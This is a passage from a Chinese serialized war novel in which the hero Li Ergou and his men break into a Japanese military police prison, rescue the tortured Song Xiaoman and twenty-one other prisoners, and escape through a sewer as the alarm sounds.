两人下意识地松开手里的枪,将枪靠在自己身侧的墙上,然后伸手接过香烟,满心欢喜,准备拆开点烟解馋。 就是两人心神彻底松懈,注意力全部落在香烟上的这短短瞬间。 已经悄悄摸到他们两侧的两名队员,瞬间同步行动。 两人速度极快,力道极稳。 一人精准锁定一个哨兵,瞬间贴身而上,一手死死捂住对方的嘴巴,杜绝一切声响,一手短刀快速出手,干脆利落,一击致命。 全程无声无息,没有挣扎、没有嘶吼,两名牢房哨兵瞬息之间双双毙命。 “把尸体拖进牢房内,门口留下两个人。” 李二狗低声吩咐一句,不再停留,抬手轻轻推开牢房的铁门,身形一闪,率先快步踏入牢房内部。 身后一众队员紧随其后,鱼贯而入。 第732章 颤抖的李二狗 牢房里面阴暗潮湿,一阵穿堂风吹过,有一股令人毛骨悚然的感觉,一股寒气不由得从脚底升起。 大家急着寻找宋小曼,根本无暇顾及这些。 “大家动作快一点,分头去寻找宋小曼。” 李二狗压低嗓子下达了搜索命令,说完之后他便快速向大牢深处奔去,一边跑一边观察着经过的各个牢房。 脚下的水泥地面又冷又硬,夜里渗着一股刺骨的寒气,踩上去却悄无声响。 牢房通道两侧是一间间铁锁囚室,铁门全是用厚重的钢筋焊铸而成,上面的锈迹爬满了整扇门板,看上去就显得沉重无比。 通道里的空气又潮又腥,混杂着血腥味、霉味和汗臭味,还有一股子说不出来的绝望气息,死死地压在每个人的胸口上,沉闷得让人透不过气来。 他每往前走一步,耳边都是大牢里犯人微弱的喘息声。 李二狗举着手电,那道细细的光柱缓缓地向前移动,一间一间地快速扫过牢房。 左边的牢房里是一个男人。 右边的牢房里也是一个男人。 铁门紧锁,里面黑漆漆一片。 他的视线死死地跟着手电筒的光柱移动,不敢放过任何一个角落。 他的心,从进入牢门的那一刻起,就一直悬在半空,沉甸甸的,压得他胸腔发闷。 他太清楚宋小曼的性子了。 她性子硬,骨头更硬,肯定宁死都不会向日本鬼子低头。 但日本鬼子不是人,他们的凶残程度远超一般人的想象。 如今她落到日本鬼子手里这么久,不用想也知道,必定受了天大的折磨。 李二狗最怕的,就是自己来晚了一步。 最怕一推开牢门,看到的不是活着的宋小曼。 手电筒的微光,快速地扫过一间间囚室,铁门、铁窗、冰冷的墙壁,一一从他眼底掠过。 通道很短却又很长,越往里走,周围的气息就越让人压抑,越让人心里发慌。 孙连胜跟在后头,看着李二狗紧绷的背影,心里也跟着七上八下。 他跟随李二狗有些年头了,了解他平日里看着随性散漫,但遇事永远都是镇定自若,泰山崩于前都能面不改色。 可今天却和往日大不一样,从他进入大牢开始,整个人的状态就绷到了极致,浑身都透着一股压抑到极致的焦灼。 所有人都不敢出声,只能默默地跟着李二狗在大牢里拼命寻找那个令他无比焦灼的女人。 终于,手电筒那道细细的光柱,落到了最靠里的一间囚室里面。 囚室门缝里透出来的气息,仿佛比别处的囚室有一股更浓的血腥气,直直地钻进人的鼻腔里。 李二狗的脚步,猛地停住了,他起了一身的鸡皮疙瘩。 他的心口像是被一只冰冷的大手狠狠地攥住,瞬间连心跳都慢了半拍。 他有一种预感,宋小曼就在这间囚室里。 他慢慢地挪动手里的手电筒,细细的光柱顺着铁门的缝隙,一点点地照进囚室里头。 牢房里面昏暗至极,光线勉强女儿国铺开一方小小的区域。 牢房地面上躺着一个人,她蜷缩在冰冷的水泥地面上,浑身衣衫破烂不堪,几乎看不出原本的样子。 身上的衣服早已被血渍浸透,黏糊糊地贴在身上。 她的身上到处都是伤痕,血痕干了又凝,新的血迹还在慢慢地渗出来,整个人显得血肉模糊。 看不清她的脸,她的头发凌乱地糊在脸上和脖颈上,一动不动地瘫在那里,若不是胸口还有极其微弱的起伏,看着就跟没了气息一样。 可就是这样一副看不出样貌的模样,李二狗只看了一眼,就立刻认出来了。 这个人就是宋小曼。 绝对是她。 哪怕她此刻已经血肉模糊、面目难辨,哪怕她浑身狼狈得不成人形,李二狗也绝不会认错。 那身形,那微微蜷缩的姿态,刻在他心里,这辈子都忘不掉。 一瞬间,李二狗浑身的血液像是被骤然冻住了,他手脚发麻,指尖控制不住地开始发颤。 方才一路走来的沉稳,硬生生碎了一地。 他站在原地,眼睛死死地盯着牢里那个虚弱的身影,喉咙里像是被什么东西堵住一般,干涩得发疼,连呼吸都变得艰难无比。 他预想过她会受苦,预想过她会受伤,可从来没有想过,小日本鬼子能把人折磨成这副模样。 好好的一个人,鲜活利落的宋小曼,这才短短几日,竟被摧残成了这副奄奄一息的样子。 心口密密麻麻的疼,顺着血脉很快便蔓延全身,疼得他指尖都在颤抖。 站在李二狗身后的孙连胜,也看清了牢里的景象。 他喉头滚动了一下,下意识地攥紧了手里的枪。 日本鬼子,是真他娘的狠。 对待女人,下手依旧一点不留情。 牢房通道里静得可怕,没人说话,只有众人压抑的呼吸声。 片刻之后,李二狗才缓缓抬起手,手里是方才从门前日本鬼子身上缴获的一串钥匙。 钥匙沉甸甸的,沉的李二狗心头发麻。 他伸手去捏钥匙,可指尖却抖得厉害,刚碰到钥匙,手指就控制不住地发颤。 他这辈子,经历过无数的危险,枪林弹雨里来回穿梭,多少次生死一线,手都稳如磐石,从来没有一刻像现在这样,连一串钥匙都捏不稳。 他深吸一口气,强行压下心里不断翻涌的苦涩和怒火,想稳住自己的手。 可根本没用。 一想到牢里躺着的是受尽折磨的宋小曼,一想到她独自在这里挨过的每一分每一秒,他的心脏就抽痛不止,指尖的颤抖根本停不下来。 钥匙捏在手里,晃晃悠悠,好几次都对不准门上的锁孔。 “咔。” 钥匙轻轻地磕碰在锁面上,发出一声极轻的脆响,在死寂的牢房通道里,却显得格外清晰刺耳。 孙连胜看得心里着急,又不敢出声催促。 他太清楚李二狗此刻的心情,换作是他,恐怕早就乱了方寸。 犹豫了片刻,孙连胜往前挪了半步,压低声音说道:“狗哥,还是让我来吧。” 第733章 这里不是叙旧的地方 孙连胜看着李二狗手抖得厉害,根本无法顺利打开锁,再这么消耗下去,夜长梦多,万一外头巡逻的日本鬼子有所察觉,所有人都要陷入险境。 说着,孙连胜就伸出手,想去接李二狗手里的钥匙。 可李二狗像是压根没听见他的话一般,也没察觉到他的动作。 他整个人的心神,全都牢牢地牵在牢房里那个虚弱的身影上,对外界的一切都恍若未闻。 他依旧固执地、一点点挪动着手指,凭借着自己的本能,一次次尝试着将钥匙对准锁孔。 这扇门,他必须自己来开。 里面的人,是他拼上性命也要护着的女人。 他晚来一步,她就多受一分罪。 这份亏欠,这份心疼,没有人能替他分担,这扇救赎的门,也没人能替他打开。 孙连胜伸出去的手,停在半空中,终究还是默默地收了回去。 他不再说话,只是静静地站在一旁,眼神警惕地扫过通道前后,不敢有半点松懈。 他盼望着李二狗赶紧打开铁锁,盼望着日本鬼子的巡逻队不要进来…… 周围依旧一片死寂,只有众人轻轻的呼吸声,还有李二狗指尖钥匙偶尔轻碰锁体的细微声响。 一次,偏了。 两次,还是不准。 李二狗咬着后槽牙,强行逼迫着自己纷乱的心神沉淀下来。 他抛开所有的心疼、愤怒和自责,逼着自己冷静,眼神死死地盯着那个小小的锁孔,指尖一点点调整着角度。 第三次…… 钥匙终于稳稳地插了进去。 他手腕微微用力转动了一下。 “咔嚓……” 一声清亮的金属脆响,骤然划破通道的死寂。 厚重的大铁锁,应声弹开。 那声音落在众人耳里,像是解开枷锁的信号,沉甸甸的,却又带着一丝极致的解脱。 这扇困住宋小曼多日的牢门,终于被打开了,是李二狗亲自打开的! 他一把推开沉重的牢门,铁门摩擦着地面,发出一声低沉的嗡响。 他再也忍不住,一步便跨进囚室里面,几乎是踉跄着扑了过去。 他俯下身子,伸手一把将地上虚弱无力的宋小曼紧紧地抱进怀里。 入手处一片冰凉。 她的身子冷得像一块冰,轻飘飘的,没有半点力气,浑身的伤口只要轻轻一碰,就能让人感受到刺骨的痛楚。 衣衫破烂,血迹斑斑,原本清亮灵动的人,此刻虚弱得连睁眼的力气都没有,气息微弱得仿佛随时都会断绝。 “小曼……” 李二狗未语泪先流,声音里藏着抑制不住的颤抖。 怀中人似乎听到了熟悉的声音,沉寂许久的身子,微微地动了一下。 过了一会儿,她才极其艰难地一点点睁开沉重的眼皮。 视线模糊得厉害,眼前的一切都是重影。 可那道紧紧抱着她、温暖而有力的身影,那道她刻在心底的声音,她怎么都不会认错! 朦胧的视线里,那张她日日盼夜夜等的脸庞,终于缓缓地清晰起来。 积压在心中多日的痛苦和恐惧,在这一刻尽数崩塌。 两行温热的清泪顺着她沾满血污的脸颊,缓缓地滚落下来,划过破败的肌肤,滴落在她冰冷的衣襟上。 她的嗓子哑得厉害,每一个字都说得断断续续,虚弱得几乎听不真切。 “二狗……是……你吗?我就知道……你一定……会来……救我的!” 这简单的几个字,几乎耗尽了她全身所有的力气。 李二狗抱着她,手臂收得很紧,生怕一松手,怀里的人就会消失不见。 胸腔里的心疼犹如翻江倒海,几乎要将他整个人吞没。 他低着头,贴着她冰冷的耳畔,声音沙哑哽咽:“是我,是我。小曼,我来了,我来救你出去。” 看着她满身的伤痕,看着她虚弱无助的模样,看着她含泪隐忍的眼眸,李二狗心里的自责和悔恨,像潮水一样疯狂地涌上来,让他痛得几乎无法呼吸。 他满是愧疚地说道:“都怪我,是我来晚了。让你受了这么多苦,全都怪我。” 若是他能早点来救人,她就不用在这里受这份非人的折磨,不用独自熬过这些暗无天日的日夜。 宋小曼躺在他温暖的怀里,听着他满是自责的声音,感受着这久违的的温暖。 她微微喘息着,抬起那只布满伤痕的手,颤巍巍地抬起来,指尖轻轻拂过李二狗的眼角,她摸到了湿润的温度。 向来强硬果敢的李二狗,竟然为她红了眼眶。 她的指尖轻轻地拭去他眼角的泪水,动作轻得就像一片羽毛拂过,带着微弱的温度。 明明浑身是伤,明明已经虚弱到极致,她的声音却带着一丝温柔:“我就知道……你一定会来救我的,我一直……都知道。” 宋小曼被组织派到江东发展抗日力量,目前组织在江东的力量还很弱小,根本没有能力把她从防守严密的鬼子宪兵队大牢里救出去。 从她被抓进来的第一天起,每次濒临绝望的时候,她心里始终留着一丝念想。 她相信李二狗,相信他一定会冲破重重险阻,来救她出去。 就是这股念想,撑着她熬过了所有的苦难,撑着她没有倒下,撑着她等到了此刻的重逢。 大牢外的通道里,孙连胜站在原地,看着牢里相拥的两人,心里急得火烧火燎。 他能理解两人劫后重逢的动容,也心疼宋小曼遭的那些罪。 可这里不是叙旧的地方! 这里是日本鬼子重兵把守的宪兵队大牢,是一个随时都会掉脑袋的危险地方! 多停留一秒,就多一分暴露的风险。 虽然大牢外头暂时没有动静,可谁也说不准下一秒会不会发生意外。 孙连胜不敢再任由两人沉溺在重逢的情绪里,他上前低声提醒道:“狗哥,我们快撤吧!别让日本鬼子发现了!” 这句话,像一盆冷水,瞬间浇醒了一直沉溺在心疼情绪中的李二狗。 他猛地回神,瞬间清醒过来。 是啊,这里不是说话的地方。 这里是龙潭虎穴,容不得半点儿女情长,容不得半点拖延。 半点犹豫,可能就会带来全军覆没的后果。 第734章 这个人肯定是疯了 李二狗立刻收敛起自己所有的情绪,眼底的温柔和心疼瞬间褪去,取而代之的是沉稳锐利的冷静。 他低头看向怀里虚弱的宋小曼,语气坚定地说道:“走,小曼,我抱你走。” 话音落下,他小心翼翼地调整姿势,尽量避开她身上的伤口,稳稳地将她打横抱起,动作轻柔却迅速,转身就快步走出了这间囚室。 宋小曼靠在他结实的怀抱里,刚被抱出牢门,她的身子微微一动,立刻伸手轻轻地拉住了他的衣襟。 力道很轻,却很坚决。 “等……一下!” 李二狗脚步未停,抱着她继续快步往通道外面走,同时低声问道:“怎么了?有什么话,我们出去再说,先离开这里。” 外头危机四伏,一秒都不能多待。 “不……二狗,你……等一下。” 宋小曼依旧执着地拉着他的衣角,语气中带着不容拒绝的恳切。 李二狗察觉到她的坚持,只好停下脚步。 他垂眸看着怀里的人,轻声问道:“怎么了?这里很危险,耽搁不得!” 月光透过牢房窗子的缝隙洒进来,微弱的光线正好落在宋小曼的脸上,她的容颜并没有因为脸上伤痕而有半点改变。 她微微侧过头,目光越过李二狗的肩头,看向通道两侧一间间紧闭的牢房。 方才他们开锁、低语,已经惊动了牢房里关押的所有人。 此刻,二十多间囚室的犯人,全都扶着铁门、扒着铁窗,纷纷探出头来。 一双双眼睛,穿过昏暗的光线,齐齐地落在他们两人身上。 那些眼神里,有看到希望的欣喜,有绝境逢生的光亮,更多的,是深深的渴望。 他们虽然在鬼子的皮鞭下没有屈服,但他们无不渴望自由,渴望能够活下去,渴望能立刻逃离这座吃人的鬼子大牢。 这些人,个个面色憔悴,身上都带着深浅不一的伤痕,有的伤了胳膊,有的瘸了腿,有的脸上还留着新鲜的鞭痕,他们全都在牢里受尽了折磨。 宋小曼看着他们,心里一阵发酸,眼底早已泛起湿意。 她喘了几口粗气,积攒着力气,看向李二狗,一字一顿地说道:“二狗,他们……都是抗日的志士,能不能……救他们……一起出去?” 这句话落下的瞬间,通道里一片寂静。 所有的弟兄都沉默了。 孙连胜的脸色瞬间沉了下来,他想都没想,立刻上前劝阻道:“狗哥,不行!这里的人实在太多了!我算了一下,他们至少得有二十多人,而且个个身上带着伤,行动多有不便。咱们好不容易才摸进来,本来就是铤而走险,再带着这么多人一起撤离,目标太大,动静也大,百分之百会被日本鬼子发现,到时候我们谁都走不了!” 他说的是实话,也是最理智的判断。 今夜的劫狱计划,原本只是为了救宋小曼一人。 可现在平白无故多了二十多人,他们个个伤痕累累,根本没法快速撤离。 宪兵队大牢虽然只有几十个鬼子,可这里离日军宪兵队驻地非常近,他们十几分钟就可以赶过来。 一旦暴露,日本鬼子就会瓮中捉鳖,所有人都得葬送在这里。 李二狗没有立刻说话。 他抱着宋小曼,站在原地,眼神快速地扫过通道两侧的所有牢房。 粗略一扫,心里立刻有了数。 二十多个人,人数不多不少,可他们全员带伤,行动能力迟缓,带着他们一起走确实是实打实的累赘。 带,极大可能全员暴露,所有人,无一幸免。 不带,可这些人都是抗日的志士,他们就要继续留在这里,等着被日本鬼子折磨,最后死在这座暗无天日的大牢里。 一瞬间,李二狗陷入了极致的纠结之中。 他太懂宋小曼的性子。 赤诚、有大义,见不得英雄蒙难,见不得无辜受苦。 今日若是他转头带走宋小曼,丢下这些人不管,这些人的下场注定凄惨。 而宋小曼,一辈子都会心有芥蒂,永远不会安心。 她宁愿自己不走,也绝不会眼睁睁地看着这些志同道合的抗日志士惨死于狱中。 更何况,这些人不是普通百姓,不是地痞无赖,他们是敢于反抗日本鬼子侵略的仁人志士,是守着民族家国大义的英雄。 为了保家卫国,他们才落得这般绝境,若是自己见死不救,良心难安,道义难容。 可这其中的风险,也是实打实的灭顶之灾。 孙连胜看着李二狗沉默犹豫的模样,心里越发焦急,再次催促道:“狗哥,别再犹豫了,快走吧!再拖下去,一旦日本鬼子巡逻队过来,咱们谁都跑不掉!带这么多人,绝对出不去的!” 时间在一分一秒地流逝,每一秒都在透支着所有人的生机。 通道里的空气越来越紧绷,所有弟兄都屏息凝神,等待着李二狗做出最终的决定。 所有人都以为,权衡利弊之下,李二狗一定会选择只带宋小曼稳妥撤离。 毕竟,理智而言,放弃搭救众人,只救宋小曼出狱,是他们唯一的生路。 可在片刻的沉默之后,李二狗终于缓缓抬起头,眼里的纠结尽数褪去,只剩下沉稳的笃定。 他看着孙连胜,语气坚定,不容置疑地说道:“连胜,我们带这些人一起走。” 这句话一出,孙连胜整个人都怔住了,满脸满眼的难以置信。 他猛地抬眼看着李二狗,心里只剩一个念头——这个人肯定是疯了! 这根本不是救人,这是摆明了找死! 二十多个伤员,都是一些老弱病残之人,在日本鬼子重兵把守的宪兵队大牢里强行集体越狱,这无异于以卵击石,自投罗网! 他完全无法理解,李二狗素来沉稳理智,算无遗策,从来不会做没有把握的冒险尝试,今日怎么会为了一群素不相识的人,赌上所有人的性命? “狗哥!”孙连胜急得声音都变了,“你再好好考虑一下吧!这实在是太冒险了,根本行不通啊!” 第735章 重情重义李二狗 “不用考虑了。”李二狗直接打断他,语气中没有半点转圜的余地,带着绝对的威严,“我已经决定了!你现在立刻带着弟兄们,把所有牢房的人全都放出来,清点人数,分成两组,动作要快。” “所有人分成两组之后,等我回来,然后再一组一组往外撤。” 李二狗的命令,就是所有人的行动准则,跟着他的弟兄,从来都是无条件服从。 哪怕孙连胜心里有万般的不赞同,此刻也不敢再多说一句废话。 他咬着后槽牙点了点头,立刻转头对着身后的几名弟兄低声吩咐道:“你们几个,跟我来!动作轻,不要出声!” 说完,他立刻带着人冲向两侧牢房,快速开锁放人。 靠在李二狗怀里的宋小曼,听到他这句决定,紧绷的心瞬间落了地。 虚弱的脸上,缓缓绽开一抹极其温柔的笑容。 昏暗的光影里,她静静看着眼前这个男人。 此刻的李二狗,在她眼里,就是踩着七彩祥云来救自己的盖世英雄。 不仅救她于水火,更心怀大义,不肯舍弃任何一个为国抗争的志士。 她语气里满是温柔地感激道:“谢谢你,二狗。” 李二狗低头看着她,眼底满是疼惜。 他轻声说道:“我先带你出去。” 这里局势混乱,先把宋小曼送到安全地带,他才能安心留下来指挥众人撤离。 宋小曼还想再说些什么,李二狗已经抱着她,转身快步走出了牢房大门。 他贴着墙根,压低身子,一边走一边在她耳边低声叮嘱道:“别出声,抱紧我,不要怕。” 夜色浓稠,院落寂静。 他抱着她沿着墙根的阴影,快速穿梭在院中,朝着夹道的方向快速移动。 沿途正好经过日本鬼子的机枪阵地,阵地上两名日本鬼子笔直地站立着,一动不动。 宋小曼在李二狗怀里,看着近在咫尺的日本鬼子岗哨,紧张的手心直冒冷汗。 距离近得如此离谱,只要日本鬼子转头看一眼,他们瞬间就会暴露。 可那两名日本鬼子士兵,就跟看不见他们一样,笔直站立着,甚至连半点反应都没有,任由他们贴着墙根从自己眼皮底下安然经过。 宋小曼满心的不可思议,又惊又疑。 李二狗感受到了她的紧张,低声安抚道:“他们是我们自己人伪装的,放心吧。” 一路有惊无险,两人很快就顺利抵达了夹道。 夹道隐蔽狭窄,远离主院视线,不易被轻易察觉。 李二狗把宋小曼放在地下,低声说道:“小曼,你先走,顺着下水管道去出口处等我,那里有人接应,我回去接他们。” 宋小曼闻言,立刻摇头,眼神坚定,死死抓着他的衣袖不放:“我不走,我在这里等你回来。” 搭救这些人是她的主意,此刻她绝不能独自逃生,让他一个人留在这里冒险。 李二狗脸色瞬间沉了下来,语气中带着不容抗拒的强硬。 他声色俱厉地说道:“你必须走!马上走!去出口那里等着我!你要是不听话,不肯走,我就不救这些人了。” 他知道她最重情义,自己此时唯有这般强硬逼迫,才能让她乖乖听话撤离。 宋小曼看着他严肃紧绷的脸庞,知道他不是在说笑。 她咬着嘴唇,眼眶微红,心中纵有万般不舍,也只能妥协。 千言万语,最终只化作一句带着哽咽的叮嘱:“二狗,你一定要平安回来,我等你。” “放心吧,我没事的。” 李二狗轻轻拂开她额前凌乱的一缕碎发,指尖轻轻碰了碰她微凉的脸颊,安慰道:“我一定会把所有人都安全带出去。” 说完,他不再耽搁,立刻转头对着身后的一名队员吩咐道:“立刻带她下去,到出口处隐蔽等候,一定要保护好她。” “是!”队员应声领命道,“小姐,请跟我来!” 宋小曼一步三回头,目光始终黏在李二狗身上,她满心担忧,最终还是跟着队员弯腰钻进了漆黑湿滑的下水管道。 看着她的身影彻底消失在下水管道口,李二狗瞬间收回所有的温柔,眼底只剩下冷静。 他转身快步折返,重新回到危机四伏的牢房里。 刚走进通道,就看到孙连胜已经把牢房里所有的犯人全部放了出来。 一共有二十一个人,他们尽数站在牢房通道中央,参差不齐,人人带伤,脸色苍白,身形虚弱,却个个眼神坚定,带着劫后余生的希冀。 “狗哥。”孙连胜快步迎上来,低声汇报道:“所有人都在这里了,一共有二十一人。我已经按照你的吩咐把他们分成了两组,第一组全是老人、女人和孩子,还有几个伤势最重的伤员,一共十人;剩下伤势较轻的十一个人,分在了第二组。” 李二狗目光缓缓地扫过眼前的众人。 当他看清人群里白发苍苍的老者、身形瘦弱的妇人,还有两个看着不过十来岁、满脸稚气却带着伤痕的孩子时,眼底瞬间掠过一抹凌厉的怒火。 心里只剩滔天的愤恨。 日本鬼子简直不是人! 竟然连老人和孩子都不放过! 他们就是畜生! 这些心怀家国的普通人,只因一腔抗日热血,就被抓进大牢受尽折磨,把他们折磨的遍体鳞伤,何其残忍! 压下心底翻涌的怒火,李二狗迅速回归理智,他拍了拍孙连胜的肩膀,夸赞道:“连胜,做得好。我带第一组老弱伤员先撤,你留在这儿守着第二组,切记,一定要等院里巡逻的鬼子走过牢房这片区域之后,你再带人出来。” 院内日本鬼子的巡逻队,每隔十分钟就会绕行牢房区域一圈,时间非常规律。 这短短十分钟的空窗期,就是他们唯一的撤离生机。 必须精准地掐算好时间,利用巡逻队离开的间隙,分批快速撤离,绝不能拖沓。 一旦错过,或者提前撤离,必然暴露。 “我记住了,狗哥。” 孙连胜重重地点了点头,把李二狗的话牢牢地记在心里。 第736章 生死一瞬间 李二狗快步走到牢房最外侧的门口,身子贴着门板,透过门缝,谨慎地朝外观察。 夜色笼罩的院落里,日本鬼子巡逻队整齐的脚步声由远及近传来。 一队全副武装的鬼子巡逻兵,正迈着刻板的步子,沿着院子通道,朝着牢房方向走来。 人影越来越近,脚步声也越来越清晰。 李二狗眼神一凝,瞬间抬手,对着身后众人比出一个噤声的手势。 所有人立刻屏息凝神,站在原地纹丝不动,连呼吸都屏住了。 众人的心全都悬到了嗓子眼上,大气不敢出,等着日本鬼子巡逻队走远。 时间一秒一秒地缓慢流逝,每一秒都煎熬到极致。 直到那队巡逻鬼子的身影彻底走过牢房门口,脚步声渐渐远去,彻底脱离了可视范围。 “走!” 李二狗不敢耽搁,他低喝一声,率先开门走了出去。 身后十名老弱伤员,相互搀扶着紧紧地跟在他身后,贴着墙根的阴影,有序地朝着夹道方向移动。 岗楼上的那名队员熟练地操作着探照灯,极其默契地调整着光照的角度,刻意避开了他们的撤离路线,同时不停地在院里其他地方扫来扫去,以此迷惑着其他地方值守的日本鬼子。 一行人一路隐蔽潜行,终于安然抵达了夹道。 李二狗不敢耽搁。 “快!动作快点,所有人立刻进入下水管道离开这里,外边有人接应!” 李二狗站在井口,看着众人依次弯腰钻进湿滑漆黑的下水管道里。 等确认所有人都陆续进入下水管道后,他立刻来到夹道入口处,准备给牢房内的孙连胜发出撤离信号。 可就在这时,一股莫名的心悸感,骤然席卷全身。 不远处,一个日本鬼子巡逻队,正朝大牢方向走去! 李二狗的脊背瞬间蹿起一股寒意,浑身神经瞬间紧绷到了极致。 他嗅出了危险的气息! 巡逻队伍最前面,一名鬼子军官嘴里叼着香烟,火光在黑夜里明明灭灭,格外刺眼。 他一边走一边抬手松着军帽,目光随意地扫向牢房方向,一步一步朝着牢房门口走去。 李二狗心里暗叫不好! 守在牢房门口伪装值守的兄弟,是两个地道的庄稼汉出身,他们枪法、身手确实不差,唯独一点日语都不会说,全程只能靠站姿和装扮伪装成日本鬼子。 站在那里不说话尚且能蒙混过关,可此刻鬼子军官主动上前,一旦开口,瞬间就会露出马脚! 一旦暴露了身份,全盘计划彻底崩盘! 所有的人,包括已经进入下水管道的众人,可能都要葬送在这里! 千钧一发,生死只在瞬息之间! 没有一点犹豫,李二狗右手瞬间探向腰后,唰地抽出腰间的驳壳枪。 手中的枪口悄然上抬,手指搭在扳机上,全身肌肉紧绷,瞬间进入战斗状态。 他眼神锐利,死死地盯着那名越走越近的鬼子军官,心底飞速盘算着。 一旦对方开口盘问,一旦伪装兄弟露馅,他就立刻开枪,然后带领着大家拼死突围,能保一个是一个。 一场避无可避的恶斗,眼看就要瞬间爆发。 此刻的局势,凶险已经到了极致。 李二狗的心已经提到了嗓子眼,全身的血液几乎都要凝固。 他死死地盯着那名鬼子军官的一举一动,眼底几乎要喷出火来。 枪声一旦响起,这里必将是一片腥风血雨。 全城的鬼子兵力会将这里合围并展开全城大搜捕,不仅下水管道里的人跑不掉,牢房里尚未撤离的人,更是插翅难飞,绝无逃生的可能。 所有人的性命,全系于眼前这一瞬间。 就在这生死一线,即将崩盘的绝境时刻!头顶高处,架在制高点的那个探照灯,骤然亮起一道刺目的白光! 光束精准无比地打在那名叼烟前行的鬼子军官脸上! 强光骤然袭来,鬼子军官下意识地猛地抬手,挡住自己的双眼。 他立刻停下脚步,脸上满是猝不及防的恼怒。 下一秒,探照灯岗楼上,传来一声严厉而又凶狠的呵斥! “八嘎!” 声音冷厉,带着十足的鬼子口音,响彻夜空。 这是那名值守探照灯的兄弟,仅会的两句日语之一。 另一句则是温顺的“吆西”。 他精准地将探照灯的光束照在鬼子军官手里的香烟上。 这名被强光刺眼又被当众呵斥的鬼子军官,瞬间一愣,下一秒立刻反应过来。 深夜值守,严禁抽烟,这是小鬼子部队铁一般的纪律,任何人都不得违反! 他方才一时松懈,偷偷抽烟,自以为无人察觉,定然是被高处值守探照灯的岗哨当场抓了正着! 对方呵斥得理直气壮,威势十足。 他瞬间满脸尴尬,又带着几分心虚和恼怒,可他半点都不敢反驳。 在众目睽睽之下,被值守的岗哨训斥,若是认真追究下来,少不了一顿军法处置。 鬼子军官的脸色一阵青一阵白,不敢多做停留,也不再靠近牢房门口半步,他只想快点离开。 他连忙抬手,一把扯下嘴里的香烟,狠狠地扔在地上,然后又抬脚狠狠地碾灭烟火。 随后他才恶狠狠地瞪了一眼探照灯的方向,不敢再多逗留,转身挥手,带着整支巡逻小队,悻悻转头,快步离去。 危机就这样解除了! 看着鬼子巡逻队伍走远,紧绷到极致的气氛,骤然松弛下来。 李二狗握着驳壳枪的手指,缓缓地松开,紧绷的脊背慢慢挺直,长长地吐出一口积压在胸口的浊气。 一身的冷汗,早已浸透了他贴身的衣衫,后背凉得彻骨。 刚刚实在是太险了! 只差那么短短的几步,巡逻队再往前几米,他们就是全员覆灭的结局。 他心里暗暗记下探照灯值守兄弟的这份功劳。 这小子,临场反应够快、够机灵、够冷静。 硬生生凭一句日语、一束灯光,便稳住了全盘局势,救了所有人的性命。 等这次任务结束,回到清风山之后,必须好好给予嘉奖,一定给这位兄弟加个鸡腿! 第737章 全城大搜捕 李二狗赶紧朝孙连胜发出了撤离的信号。 片刻之后,孙连胜带着第二组十一名人员,快速有序地贴着墙根走了出来。 所有人借着夜色和探照灯的掩护,一路顺畅前行,再没有发生任何意外。 第二组人员全部顺利抵达夹道,无一暴露。 悬着的心彻底放下了,孙连胜快步上前,沉声说道:“狗哥,人都到齐了。” “很好,马上撤离!” 孙连胜语气坚定地说道:“狗哥,你带着所有人先撤,我留下来断后!” 断后是最危险的! 最后撤离,直面日本鬼子随时可能到来的追击,稍有不慎,就是必死的结局。 他想把生路留给李二狗和众人,自己独自扛下所有的风险。 “不用!”李二狗心里很感动,但语气却是不容置疑,他强势打断孙连胜的话,命令道:“你带着所有人先撤,我来断后。” 他比谁都清楚,断后绝不是简单的拖延阻拦。 此刻,牢房门前、探照灯岗楼上和机枪阵地上的值守人员,全都是自己兄弟伪装的。 只有等这里所有人都撤离之后,这些伪装值守的兄弟才能撤回。 只要伪装人员一撤离,日本鬼子很快就会发现岗哨被杀、犯人全部越狱的真相。 到那个时候,整个宪兵队大牢会瞬间拉响警报,展开全面搜捕。 断后的人,必须最后撤离,把控所有撤退的节奏,统筹所有人的撤离顺序。 这份统筹和临场应变的能力,除了李二狗,没有人能够做到。 孙连胜虽然能干,但他把控全局、临场控局的经验,终究还是差了一点。 “快走!没时间磨蹭了!快!” 李二狗看了一眼手腕上的手表,时间紧迫,每一分每一秒都至关重要。 孙连胜看着他坚决的眼神,知道再争辩也是没用,只能咬牙点头,不再推辞。 “所有人,跟上!依次下到管道里,速度要快,脚下小心一点,大家互相搀扶!” 孙连胜立刻转身,指挥着伤员,挨个钻进狭窄湿滑的下水管道里。 下水管道内部又黑又窄,地面上布满了积水淤泥,湿滑难行。 而且这些人身上全都带着伤,腿脚不便,体力透支,行进速度必然极其缓慢。 队伍推进得磕磕绊绊,速度远不如预想中快速。 李二狗站在下水管道口,目光深沉,心中默默计算着时间。 他不敢提前召回任何一名伪装值守的兄弟。 牢房门口、机枪阵地和探照高台的所有人,必须死死地守住岗位,继续维持着伪装的状态。 必须等到所有越狱人员全部到达出口之后,才能撤回。 但凡有一人提前撤离,露出半点破绽,之前他们所有的努力都会付诸东流。 时间就这样一分一秒地缓慢流逝。 他耐心等待着,默默估算着队伍行进的距离和进度。 约莫十几分钟之后,估摸着下水管道内的所有人已经到达出口,李二狗这才抬手,对着黑暗中的各个点位,打出了一串事先约定好的隐秘手势。 先是牢房门口和机枪阵地的伪装队员,收到信号之后,悄无声息地脱离岗位,压低身形,快速撤回夹道里。 等人全部归队之后,李二狗再次打出一个手势。 高处探照灯台上的最后一名队员,立刻顺着侧边的梯子,快速从高台爬下,借着夜色的掩护,飞速地撤回夹道。 所有伪装人员,全部安全撤了回来。 “所有人,立刻进管道撤离!动作要快!” 剩下的队员们依次弯腰,快速地钻进下水管道。 众人鱼贯而入,挨个前进,动作迅速有序。 李二狗站在最后,待所有人全部进入下水管道之后,他才最后一个弯腰钻入,伸手精准地扣住头顶的井盖,轻轻一拖一盖。 厚重的井盖严丝合缝地盖回井口,看不出半点痕迹。 做完这一切之后,他转身跟上队伍,沿着漆黑湿滑的管道,快速向前穿梭。 下水管道内漆黑一片,空气潮湿憋闷,脚下泥泞湿滑。 所有人都咬牙坚持着,一路疾行,穿过长长的地下通道。 在路过埋设诡雷的地方,李二狗经过之后又重新把诡雷布置上,如果日本鬼子前来追击,正好给他们留一个见面礼! 李二狗最后一个从下水管道出口钻了出来。 他双脚刚刚落地,不远处的宪兵队大牢方向,骤然响起一阵凄厉刺耳划破夜空的警笛声! “呜——呜——呜——” 尖锐的警报声,瞬间刺破了整座县城的寂静。 想来日本鬼子已经发现大牢犯人越狱! 警报声就是全城大搜捕的号角! 街道封锁、路口布防、全城搜查,密密麻麻的鬼子,很快就会开始地毯式搜捕越狱人员。 